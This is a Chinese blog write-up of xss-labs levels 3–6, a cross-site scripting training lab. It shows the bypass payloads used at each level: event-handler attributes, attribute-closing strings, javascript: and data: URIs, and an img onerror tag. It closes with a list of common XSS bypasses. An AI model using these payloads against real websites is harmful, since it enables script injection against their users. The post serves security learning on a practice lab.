Xss-labs-level3-6
level3
输入常规的测试xss代码:<script>alert(/bmfx/)</script>
查看网页源码确认已经使用了 htmlspecialchars进行html实体化,所以需要使用js的触发事件功能进行测试,如下所示:
' onmouseover='javascript:alert(2) onmouseover事件-当鼠标指针移动到指定对象的时候触发js ' onclick='javascript:alert(2) onclick事件-当按钮被点击的时候触发js ' onfocus='javascript:alert(/bmfx/) onfocus事件-当鼠标点击输入框且输入框被选中可以输入内容的时候触发js
level4
" onclick='javascript:alert(2)'" " onfocus='javascript:alert(/bmfx/)'" " onmouseover='javascript:alert(2)'"
此关卡测试方式跟level3的思路一样,只是闭合方式改变了,具体测试代码如上,看看测试结果:
level5
挖掘xss漏洞,首先输入下面两个正常和常规的测试代码,然后查看网页源代码看看服务端做了哪些防护操作
bmfx
<script>alert(/bmfx/)</script>
根据显示结果,发现对script,onclick等类似的触发事件标签都进行了篡改,所以此处无法使用此类标签,尝试使用 a href进行利用,同样首先使用一个常规的测试代码
<a href=javascript:alert('bmfx') >bmfx</a> 然后查看网页源代码显示如下:
<input name=keyword value="<a href=javascript:alert('bmfx') >bmfx</a>">
根据上面显示,那么我们需要闭合前面的双引号和小于号和注释后面的双引号和大于号,最终得到如下结果:
"> <a href=javascript:alert('bmfx') >bmfx</a> //
level6
同样常规操作,发现此关卡针对href进行了破坏篡改,所以根据网页源码显示结果,构造了如下测试代码
"> <a HREF="javascript:alert('bmfx')">bmfx</a> //
总结:
1. 测试xss的时候,先正常输入普通字符,或者类似html的标签,比如<b>之类的,看看显示结果和对应的网页源代码信息
2. 之后根据上述显示的信息进行绕过测试
3. 常见的绕过测试代码如下
<script>alert(/xx/)</script>
"> <script>alert(/bmfx/)</script> //
" onclick='javascript:alert(2)'"
" onfocus='javascript:alert(/bmfx/)'"
" onmouseover='javascript:alert(2)'"
<img src=998 onerror=alert('bmfx')>
"> <a href=javascript:alert('bmfx') >bmfx</a> //
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">bmfx</a>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?